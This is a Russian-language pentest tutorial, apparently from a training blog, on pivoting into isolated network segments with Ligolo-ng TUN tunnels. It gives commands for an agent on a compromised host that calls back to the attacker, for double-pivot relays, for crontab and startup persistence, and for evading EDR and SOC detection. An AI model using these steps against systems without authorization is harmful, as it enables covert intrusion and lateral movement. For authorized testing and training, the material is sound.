Перейти к содержимому

Ligolo-ng туннелирование пентест: от Chisel к полноценному TUN-интерфейсу

Ligolo-ng туннелирование пентест: от Chisel к полноценному TUN-интерфейсу
Время чтения: 11 мин.

На внутреннем пентесте банковской инфраструктуры с тремя изолированными VLAN-сегментами Chisel стабильно ронял SOCKS-прокси при запуске nmap -sV по /24-подсети через захваченный Linux-хост. Три сканирования — три обрыва. Переход на Ligolo-ng решил проблему за 15 минут и поменял мой подход к пивотированию: вместо SOCKS-прокси и proxychains — полноценный TUN-интерфейс (виртуальный сетевой адаптер уровня L3, если коротко — как VPN-подключение прямо во внутреннюю сеть) с нативной маршрутизацией. Ниже — пошаговый разбор: как настроить туннелирование, маршрутизировать несколько подсетей одновременно и не потерять доступ при сбое агента.

Место в цепочке атаки: зачем нужен pivoting

Пивотирование (pivoting) — это перенаправление трафика через скомпрометированный хост, чтобы добраться до изолированных сегментов сети. В цепочке атаки это мост между «получил доступ к одному хосту» и «продвигаюсь дальше по инфраструктуре».

[Применимо: внутренний пентест, black box / grey box, modern и legacy инфраструктура]

Типичный сценарий: вы получили shell на Linux-сервере в DMZ (демилитаризованная зона — сегмент между интернетом и внутренней сетью). У сервера два сетевых интерфейса — один смотрит наружу, второй — во внутреннюю сеть 10.10.10.0/24, куда ваша атакующая машина напрямую не доберётся. Чтобы сканировать внутренние хосты, запускать CrackMapExec (проверка учётных данных в Windows-сетях) или подключаться через Evil-WinRM — нужен туннель через захваченный хост.

В терминах MITRE ATT&CK — открытой базы тактик и техник атак, где каждой технике присвоен идентификатор вроде T1572 — Ligolo-ng покрывает сразу несколько техник:

  • Protocol Tunneling (T1572) — инкапсуляция трафика внутренней сети в TLS-туннель
  • Internal Proxy (T1090.001) — проксирование через скомпрометированный хост
  • Multi-hop Proxy (T1090.003) — цепочка из нескольких промежуточных хостов
  • Encrypted Channel (T1573) — шифрование канала связи

Полная цепочка выглядит так: initial access (RCE на веб-сервере) → foothold (загрузка агента на хост, T1105) → discovery (разведка внутренних сетей через ifconfig, T1016) → pivoting (настройка туннеля, T1599 Network Boundary Bridging) → lateral movement (nmap по внутренним подсетям, T1046, атаки на найденные сервисы).

Ligolo-ng вместо Chisel — архитектурные отличия

Chisel — популярный инструмент для сетевого туннелирования — работает как SOCKS5-прокси. На практике это означает: каждый инструмент на атакующей машине нужно запускать через proxychains, ICMP (пинг) и ряд UDP-протоколов через SOCKS не пролезают, а под нагрузкой всё это разваливается.

Ligolo-ng устроен иначе. Вместо прокси он создаёт виртуальный сетевой интерфейс (TUN) и использует пользовательский сетевой стек на базе gVisor (компонент контейнерной изоляции Google). Для ОС атакующей машины внутренняя сеть выглядит так, будто подключена напрямую — как VPN. Проект активно поддерживается (github.com/nicocha30/ligolo-ng, версии v0.5+), широко используется при подготовке к OSCP и на реальных пентестах.

Критерий Chisel Ligolo-ng
Уровень работы SOCKS5 (L4/L5) TUN-интерфейс (L3)
Нужен proxychains Да Нет
ICMP (ping sweep) Не работает Работает
Несколько подсетей Через отдельные порты Через маршруты ip route add
Привилегии на агенте Не требуются Не требуются
Привилегии на атакующей Не требуются root / CAP_NET_ADMIN
Multi-hop Цепочка прокси Нативный listener_add
Размер бинаря ~8 MB ~6 MB
Автореконнект Нет из коробки Флаг -retry

Trade-off: когда использовать, когда нет

Ligolo-ng
Преимущества Нативная маршрутизация L3, поддержка ICMP, не нужен proxychains, встроенный multi-hop, автореконнект
Ограничения Нужен root/sudo на атакующей, стандартный бинарь детектируется EDR, UDP ограничен
Когда использовать Внутренний пентест с несколькими VLAN, нужен полноценный доступ ко внутренней сети, CTF/HTB с multi-pivot
Когда НЕ использовать Нет root на атакующей машине, нужен проброс одного порта, среда с агрессивным EDR без возможности пересборки

Chisel предпочтительнее в двух ситуациях: если на атакующей машине нет root-доступа (работаете с shared jumpbox-сервера — TUN-интерфейс создать не получится) или если нужен быстрый проброс одного конкретного порта (RDP 3389) без маршрутизации целой подсети. Ещё вариант — SSH-туннели и tun2socks — подходит, когда у вас уже есть SSH-доступ на скомпрометированный хост. Но для пентестов с несколькими сегментами это менее удобно.

Требования к окружению

Перед практикой проверьте:

  • Атакующая машина: Kali Linux / Parrot OS (любая версия) с пакетом iproute2 (предустановлен). Нужен sudo или root — без этого TUN-интерфейс не создать
  • RAM: 512 MB свободных для proxy
  • Целевой хост (агент): Linux (amd64/386), Windows (amd64), macOS — агент кросс-платформенный. Повышенные привилегии НЕ нужны. Размер бинаря ~6 MB — его нужно доставить на хост
  • Сетевое: исходящее TCP-соединение от агента к proxy на порт 11601 (по умолчанию). Агент инициирует соединение сам — это обходит большинство входящих firewall-правил
  • Скачать: proxy для вашей ОС и agent для целевой ОС — раздел Releases на github.com/nicocha30/ligolo-ng

Настройка TUN-интерфейса и первый туннель

Допустим, вы получили shell на Linux-сервере (IP: 10.10.10.50), у которого есть второй интерфейс в подсеть 172.16.0.0/24. Ваша атакующая машина — Kali с IP 192.168.1.100.

Делай раз — создаём интерфейс на атакующей машине

На Kali выполните две команды. Первая создаёт виртуальный сетевой интерфейс с именем ligolo, вторая поднимает его:

# Создаём TUN-интерфейс (сохраняется до перезагрузки)
sudo ip tuntap add user $USER mode tun ligolo
# Поднимаем интерфейс
sudo ip link set ligolo up
# Проверяем — должно быть UP,LOWER_UP
ip link show ligolo

Что произошло: в системе появился сетевой интерфейс ligolo без IP-адреса — Ligolo-ng использует его исключительно для маршрутизации. Если в выводе ip link show ligolo нет UP — убедитесь, что команда выполнена с sudo.

Делай два — запускаем proxy и подключаем агент

На атакующей машине запустите proxy. Флаг -selfcert создаст временный самоподписанный TLS-сертификат: ./proxy -selfcert. Proxy начнёт слушать порт 11601 и покажет интерактивную консоль ligolo-ng >>.

Доставьте бинарь агента на скомпрометированный хост (через wget, curl, загрузку через имеющийся shell) и запустите: ./agent -connect 192.168.1.100:11601 -ignore-cert. Флаг -ignore-cert нужен из-за самоподписанного сертификата.

Ожидаемый результат: в консоли proxy появится строка Agent joined с информацией о хосте и его сетевых интерфейсах.

Делай три — выбираем сессию и добавляем маршрут

В консоли proxy введите session — увидите список подключённых агентов. Выберите нужный номер. Выполните ifconfig — proxy покажет все сетевые интерфейсы захваченного хоста. Вы увидите интерфейс с адресом из подсети 172.16.0.x — это цель.

Введите start — туннель активирован. В отдельном терминале на Kali добавьте маршрут: sudo ip route add 172.16.0.0/24 dev ligolo.

Проверка: выполните ping 172.16.0.1. Ответ есть — туннель работает. Теперь nmap -sV 172.16.0.0/24 отработает напрямую, без proxychains. Ping sweep через nmap -sn тоже сработает — в отличие от Chisel, ICMP здесь поддерживается нативно.

Маршрутизация нескольких подсетей через один хост

Если захваченный хост имеет доступ к нескольким подсетям (172.16.0.0/24 и 10.10.20.0/24 — типичная ситуация для сервера на границе VLAN), достаточно добавить дополнительные маршруты:

sudo ip route add 172.16.0.0/24 dev ligolo
sudo ip route add 10.10.20.0/24 dev ligolo
# Проверяем — обе подсети через ligolo
ip route | grep ligolo

Ожидаемый вывод: строки 172.16.0.0/24 dev ligolo scope link и 10.10.20.0/24 dev ligolo scope link. После этого CrackMapExec, Evil-WinRM, BloodHound-python и любой другой инструмент из red team стека будут работать с обеими подсетями без дополнительной настройки.

Ligolo-ng также поддерживает команду autoroute — proxy сам определит доступные через агент подсети и предложит добавить маршруты автоматически. На CTF-платформах типа HackTheBox и в лабораторных средах это экономит время. На реальном пентесте я предпочитаю ручной контроль маршрутов — так точно знаешь, какие подсети маршрутизируешь и не отправляешь трафик куда не нужно.

Double pivot — маршрутизация через два хоста

Через первый захваченный хост (Host A, 10.10.10.50) вы обнаружили Windows-машину (Host B, 172.16.0.5) и получили к ней доступ. Host B имеет интерфейс в третью подсеть 192.168.100.0/24, до которой ни ваша машина, ни Host A не доберутся напрямую.

Топология: Attacker → Host A → Host B → Internal (192.168.100.0/24)

Шаг 1. Настройте первый туннель через Host A (как описано выше). Убедитесь: ping 172.16.0.5 работает.

Шаг 2. Доставьте бинарь агента на Host B. Благодаря работающему туннелю это делается напрямую — scp agent user@172.16.0.5:/tmp/agent, трафик пойдёт через TUN-интерфейс.

Шаг 3. Host B не может подключиться к вашей машине напрямую. Создайте relay через первый агент. В сессии Host A в консоли proxy: listener_add --addr 0.0.0.0:11602 --to 192.168.1.100:11602. Эта команда говорит: слушай на Host A порт 11602 и пересылай трафик на вашу машину.

Шаг 4. Запустите второй экземпляр proxy на атакующей машине: ./proxy -selfcert -laddr 0.0.0.0:11602.

Шаг 5. На Host B запустите агент, указав IP Host A: .\agent.exe -connect 172.16.0.5:11602 -ignore-cert. Агент подключится к listener на Host A, тот перебросит трафик на ваш proxy.

Шаг 6. Создайте второй TUN-интерфейс и добавьте маршрут:

sudo ip tuntap add user $USER mode tun ligolo2
sudo ip link set ligolo2 up
# В консоли второго proxy: session → start
sudo ip route add 192.168.100.0/24 dev ligolo2

Результат: nmap -sV 192.168.100.0/24 с вашей Kali просканирует третью подсеть через цепочку из двух хостов. Без proxychains, без SOCKS.

Сохранение сессии при перезапуске агента

Три сценария потери доступа и решения для каждого:

Агент перезапущен или процесс убит. Запускайте агент с флагом -retry: ./agent -connect 192.168.1.100:11601 -ignore-cert -retry. Агент будет автоматически переподключаться к proxy. Маршруты на атакующей машине (ip route) и TUN-интерфейс не зависят от состояния агента — они сохранятся.

Хост перезагружен. Флаг -retry не поможет, если агент не прописан в автозагрузку. На Linux — добавьте в crontab: @reboot /tmp/agent -connect IP:11601 -retry -ignore-cert. На Windows — разместите .lnk-файл в shell:startup или используйте цикл проверки процесса через PowerShell. По данным операторов реальных engagements (статья Deiteriy Lab на Habr), бесконечный цикл проверки наличия процесса агента — простое и действенное решение.

Сетевая нестабильность. Если канал между агентом и proxy нестабилен, проверьте MTU TUN-интерфейса (по умолчанию 1500). На сетях с дополнительной инкапсуляцией может потребоваться снижение: sudo ip link set ligolo mtu 1300.

Управление несколькими активными сессиями — через session в консоли proxy. Команда tunnel_list покажет все активные туннели. Если сессия больше не нужна — переключитесь на неё и выполните stop. Для удаления устаревших маршрутов: sudo ip route del 172.16.0.0/24 dev ligolo.

Ограничения Ligolo-ng в реальных средах

Работает если: есть скомпрометированный хост с исходящим TCP-доступом к вашей машине (или relay-точке); на атакующей машине есть root/sudo.

Не работает если:

Исходящий трафик заблокирован. Если egress-фильтрация разрешает только HTTP/HTTPS через корпоративный прокси — стандартное подключение агента не пройдёт. Агент поддерживает HTTP-прокси (-http-proxy http://CORP_PROXY:8080), но в средах с SSL-инспекцией (Palo Alto, Zscaler) это может не помочь.

EDR видит бинарь. Агент Ligolo-ng — Go-бинарь без обфускации. CrowdStrike Falcon, SentinelOne и Kaspersky EDR Expert в актуальных версиях детектируют стандартный бинарь как подозрительный инструмент. Для реальных пентестов потребуется пересборка из исходников с модификациями. Открытый Go-код Ligolo-ng упрощает эту задачу.

Нет root на атакующей. TUN-интерфейс требует root или CAP_NET_ADMIN. На shared-инфраструктуре это проблема — тогда Chisel с SOCKS-прокси удобнее.

SIEM детектирует аномалию. TLS-соединение на нестандартный порт (11601) из DMZ наружу — алерт для любого SOC. По данным hunt.io, Ligolo-ng фиксировался в связке с C2-фреймворком Sliver в реальных атакующих кампаниях. Для снижения заметности используйте стандартный порт 443 и собственный сертификат (-certfile, -keyfile).

UDP-протоколы. Ligolo-ng транспортирует TCP и ICMP. Чистый UDP-трафик (DNS-запросы к внутреннему DNS-серверу напрямую) может потребовать отдельного проброса через listener_add.

На практике Ligolo-ng заменил Chisel в абсолютном большинстве моих internal-пентестов. Chisel остаётся в арсенале для быстрого проброса одного порта и для случаев без root-доступа на атакующей машине. Для задач на CTF-платформах и HackTheBox оба инструмента применимы, но на реальных проектах с несколькими VLAN-сегментами преимущество TUN-подхода ощущается уже в первый час работы — разница в скорости и полноте покрытия scope заметна сразу.

Большинство руководств по пивотированию начинаются с SSH-туннелей и заканчиваются Chisel. На этом новички останавливаются и выстраивают всю инфраструктуру пентеста вокруг SOCKS и proxychains. Я считаю это тупиковым путём, который стоит времени и результатов. Proxychains — костыль: каждый инструмент нужно проверять на совместимость, ICMP не работает, сканирование медленное и нестабильное. На реальном пентесте, когда в scope двадцать подсетей и окно в три дня, потерять полчаса на переподключение упавшего SOCKS — непозволительная роскошь. TUN-подход меняет правила игры: внутренняя сеть становится «своей» для ОС атакующей машины, любой инструмент работает нативно. Это не вопрос удобства — это вопрос полноты покрытия scope. Через SOCKS-прокси я физически не мог прогнать половину проверок, обязательных по методологии. Если хочется не тыкаться в отдельные инструменты без системы, а разобраться, как устроен сетевой пентест от начала до конца — на IB Basics показывают, что делать в первый месяц после «хочу в ИБ», включая базу работы с сетями и инструментами.

Эту тему и смежные навыки разбирают на практике в курсе «Специалист по тестированию на проникновение» Codeby Academy.